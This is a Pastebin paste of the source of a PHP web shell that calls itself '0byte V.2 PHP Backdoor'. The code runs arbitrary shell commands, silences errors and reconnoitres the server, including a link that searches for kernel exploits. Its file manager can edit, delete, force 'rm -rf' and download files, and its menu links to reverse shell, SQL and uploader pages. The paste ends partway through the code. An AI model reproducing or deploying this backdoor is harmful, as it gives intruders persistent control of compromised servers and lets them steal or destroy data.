Advertisement
Guest User

Untitled

a guest
Sep 4th, 2019
1,346
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.25 KB | None | 0 0
  1. <?php /* 0byte V.2 PHP Backdoor - www.zerobyte.id */ set_time_limit(0); error_reporting(0); error_log(0); function exect($cmd) { if(function_exists('system')) { @ob_start(); @system($cmd); $exect = @ob_get_contents(); @ob_end_clean(); return $exect; } elseif(function_exists('exec')) { @exec($cmd,$results); $exect = ""; foreach($results as $result) { $exect .= $result; } return $exect; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $exect = @ob_get_contents(); @ob_end_clean(); return $exect; } elseif(function_exists('shell_exec')) { $exect = @shell_exec($cmd); return $exect; } } function fperms($filen) { $perms = fileperms($filen); $fpermsinfo .= (($perms & 0x0100) ? 'r' : '-'); $fpermsinfo .= (($perms & 0x0080) ? 'w' : '-'); $fpermsinfo .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $fpermsinfo .= (($perms & 0x0020) ? 'r' : '-'); $fpermsinfo .= (($perms & 0x0010) ? 'w' : '-'); $fpermsinfo .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $fpermsinfo .= (($perms & 0x0004) ? 'r' : '-'); $fpermsinfo .= (($perms & 0x0002) ? 'w' : '-'); $fpermsinfo .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); echo '<center><small>'.$fpermsinfo.'</small></center>'; } function eof() {echo "\x77\x77\x77\x2e\x7a\x65\x72\x6f\x62\x79\x74\x65\x2e\x69\x64";} ?> <title>0byteV2 - PHP Backdoor</title> <link href='//fonts.googleapis.com/css?family=Share+Tech+Mono' rel='stylesheet' type='text/css'> <style type="text/css"> body { font-family: courier; background: #000d1a; color: #e8f5e9; font-size: 1px; } h1 a { font-weight: normal; font-family: 'Share Tech Mono'; font-size: 20px; color:#27f6a4; text-decoration: none; margin: 0px; } h2 { font-size: 20px; color: #27f6a4; text-align: center; padding-top: 5px; margin: 0; margin-top: 10px; } .menu { text-align: center; font-size: 12px; border-bottom: 1px dashed #27f6a4; padding-bottom: 5px; margin-bottom: 10px; } .menu a { margin-top: 2px; color: #27f6a4; text-decoration: none; display: inline-block; } .container { font-size: 12px; } .filemgr { font-size: 12px; width: 100% } .filemgr td { padding: 3px; border-bottom: 1px dashed #27f6a4; } .filemgr a{ text-decoration: none; color:#27f6a4; } tr:hover { background: #003366; } .nohover:hover { background: transparent; } .tdtl { background:#27f6a4;color:#000d1a;text-align:center;font-weight:bold; } .footer { text-align: center; border-radius: 30px; margin-top: 25px; border-top: 1px double #27f6a4; padding: 5px; } .footer a { color: #27f6a4; text-decoration: none; } p { word-wrap: break-word; margin:2; } a { text-decoration: none; color: #27f6a4; } .act { text-align: center; } .txarea { width:100%; height:200px; background:transparent; border:1px solid #27f6a4; padding:1px;color:#27f6a4; } h4 { margin:0; } .yyy { background: transparent; color: #27f6a4; border: 1px #27f6a4 solid; padding: 2px; } .xxx { color: #000d1a; background: #27f6a4; border: 1px #27f6a4 solid; padding: 2px; } </style> <div class="container"> <div style="position:relative;width: 100%;margin-bottom: 5px;border-bottom: 1px dashed #27f6a4;"> <div style="float: left;width: 15%;text-align: center;border: 1px dashed #27f6a4;margin-bottom: 5px;"> <h1><a href="?">0byte V.2<br><small>PHP Backdoor</small></a></h1> </div> <div style="float: right;width: 83%;"> <?php echo php_uname(); if(preg_match('/\b\d{4}\b/', php_uname("v"), $matches)) { $year = $matches[0]; $url = "https://www.google.com/search?q=%22".php_uname("s")."%22+%22".php_uname("r")."%22+%22$year%22+%22Exploit%22"; echo " <a href=\"$url\" target=\"_blank\">[ FIND EXPLOIT ]</a>"; } $mysql = (function_exists('mysql_connect')) ? "<font color=#27f6a4>ON</font>" : "<font color=red>OFF</font>"; $curl = (function_exists('curl_version')) ? "<font color=#27f6a4>ON</font>" : "<font color=red>OFF</font>"; $wget = (exect('wget --help')) ? "<font color=#27f6a4>ON</font>" : "<font color=red>OFF</font>"; $perl = (exect('perl --help')) ? "<font color=#27f6a4>ON</font>" : "<font color=red>OFF</font>"; $gcc = (exect('gcc --help')) ? "<font color=#27f6a4>ON</font>" : "<font color=red>OFF</font>"; $disfunc = @ini_get("disable_functions"); $show_disf = (!empty($disfunc)) ? "<font color=red>$disfunc</font>" : "<font color=#27f6a4>NONE</font>"; echo '<br>[ MySQL: '.$mysql.' ][ Curl: '.$curl.' ][ Wget: '.$wget.' ][ Perl: '.$perl.' ][ Compiler: '.$gcc.' ]'; echo '<p>Disable Function: '.$show_disf; ?> </div> <div style="clear: both;"></div> </div> <?php if(empty($_GET)) { $dir = getcwd(); } else { $dir = $_GET['path']; } if(!empty($_GET['path'])) {$offdir = $_GET['path'];} else if(!empty($_GET['file'])) {$offdir = dirname($_GET['file']);} else if(!empty($_GET['lastpath'])) {$offdir = $_GET['lastpath'];} else {$offdir = getcwd();} ?> <div class="menu"> <a href="?ext=usersreadblepath&lastpath=<?php echo $offdir;?>">[ Readable Users Path ]</a> <a href="?ext=sql_interface&lastpath=<?php echo $offdir;?>">[ SQL Interface ]</a> <a href="?ext=shellcmd&lastpath=<?php echo $offdir;?>">[ Shell Command ]</a> <a href="?ext=reverseshell&lastpath=<?php echo $offdir;?>">[ Reverse Shell ]</a> <a href="?ext=vdomain&lastpath=<?php echo $offdir;?>">[ Shows vDomain ]</a> <a href="?ext=uploader&lastpath=<?php echo $offdir;?>">[ Uploader ]</a> </div> <?php echo '<div style="margin-bottom:10px;">'; echo '<span style="border:1px dashed #27f6a4;padding:2px;">'; $lendir = str_replace("\\","/",$offdir); $xlendir = explode("/", $lendir); foreach($xlendir as $c_dir => $cdir) { echo "<a href='?path="; for($i = 0; $i <= $c_dir; $i++) { echo $xlendir[$i]; if($i != $c_dir) { echo "/"; } } echo "'>$cdir</a>/"; } echo '</span></div>'; if(!empty($dir)) { echo '<table class="filemgr">'; echo '<tr><td class="tdtl">Name</td><td class="tdtl" width="9%">Permission</td><td class="tdtl" width="18%">Action</td></tr>'."\n"; $directories = array(); $files_list = array(); $files = scandir($dir); foreach($files as $file){ if(($file != '.') && ($file != '..')){ if(is_dir($dir.'/'.$file)){ $directories[] = $file; } else{ $files_list[] = $file; } } } foreach($directories as $directory){ echo '<tr><td><span class="dbox">[D]</span> <a href="?path='.$dir.'/'.$directory.'">'.$directory.'/</a></td>'."\n"; echo '<td>'; fperms($dir.'/'.$directory); echo '</td>'."\n"; echo '<td class="act">'; echo '<a href="?action=rename&file='.$dir.'/'.$directory.'" class="act">RENAME</a> '; echo '<a href="?action=rmdir&file='.$dir.'/'.$directory.'" class="act">DELETE</a>'; echo '</td>'."\n"; echo '</tr>'."\n"; } foreach($files_list as $filename){ if(preg_match('/(tar.gz)|(tgz)$/', $filename)) { echo '<tr><td><span class="dbox">[F]</span> <a href="#" class="act">'.$filename.'</a>'."\n"; echo ' <a href="?ext=extract2tmp&gzname='.$dir.'/'.$filename.'" style="background:#27f6a4;color:#000d1a;padding:1px;padding-left:5px;padding-right:5px;">EXTRACT TO TMP</a>'; echo '</td>'."\n"; echo '<td>'; fperms($dir.'/'.$filename); echo '</td>'."\n"; echo '<td class="act">'; echo '<a href="?action=rename&file='.$dir.'/'.$filename.'" class="act">RENAME</a> '; echo '<a href="?action=delete&file='.$dir.'/'.$filename.'" class="act">DELETE</a> '; echo '<a href="?action=download&file='.$dir.'/'.$filename.'" class="act">DOWNLOAD</a>'; echo '</td>'."\n"; echo '</tr>'."\n"; } else { echo '<tr><td><span class="dbox">[F]</span> <a href="?action=view&file='.$dir.'/'.$filename.'" class="act">'.$filename.'</a></td>'."\n"; echo '<td>'; fperms($dir.'/'.$filename); echo '</td>'."\n"; echo '<td class="act">'; echo '<a href="?action=edit&file='.$dir.'/'.$filename.'" class="act">EDIT</a> '; echo '<a href="?action=rename&file='.$dir.'/'.$filename.'" class="act">RENAME</a> '; echo '<a href="?action=delete&file='.$dir.'/'.$filename.'" class="act">DELETE</a> '; echo '<a href="?action=download&file='.$dir.'/'.$filename.'" class="act">DOWNLOAD</a>'; echo '</td>'."\n"; echo '</tr>'."\n"; } } echo '</table>'; } if($_GET['action'] == 'edit') { if($_POST['save']) { $save = file_put_contents($_GET['file'], $_POST['src']); if($save) { $act = "<font color=#27f6a4>Successed!</font>"; } else { $act = "<font color=red>Permission Denied!</font>"; } echo "".$act."<br>"; } echo "Filename: <font color=#27f6a4>".basename($_GET['file'])."</font>"; echo "<form method='post'> <textarea name='src' class='txarea'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br> <input type='submit' value='Save' name='save' style='width: 20%;background:#27f6a4;border:none;color:#000d1a;margin-top:5px;height:30px;'> </form>"; } else if($_GET['action'] == 'view') { echo "Filename: <font color=#27f6a4>".basename($_GET['file'])."</font>"; echo "<textarea class='txarea' style='height:400px;' readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>"; } else if($_GET['action'] == 'rename') { $path = $offdir; if($_POST['do_rename']) { $rename = rename($_GET['file'], "$path/".htmlspecialchars($_POST['rename']).""); if($rename) { $act = "<font color=#27f6a4>Successed!</font>"; } else { $act = "<font color=red>Permission Denied!</font>"; } echo "".$act."<br>"; } echo "Filename: <font color=#27f6a4>".basename($_GET['file'])."</font>"; echo "<form method='post'> <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'> <input type='submit' name='do_rename' value='rename'> </form>"; } else if($_GET['action'] == 'delete') { $path = $offdir; $delete = unlink($_GET['file']); if($delete) { } else { $act = "<font color=red>Permission Denied!</font>"; } echo $act; } else if($_GET['action'] == 'rmdir') { $path = $offdir; $delete = rmdir($_GET['file']); if($delete) { echo '<font color=#27f6a4>Deleted!</font><br>'; } else { echo "\n<font color=red>Error remove dir, try to force delete!</font>\n<br>"; exect('rm -rf '.$_GET['file']); if(file_exists($_GET['file'])) { echo '<font color=red>Permission Denied!</font>'; } else { echo '<font color=#27f6a4>Deleted!</font>'; } } } else if($_GET['action'] == 'download') { @ob_clean(); $file = $_GET['file']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } if($_GET['ext'] == 'usersreadblepath') { echo '<h2>.::[ Readable Users Path ]::.</h2>'; $potent_dir = array(
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement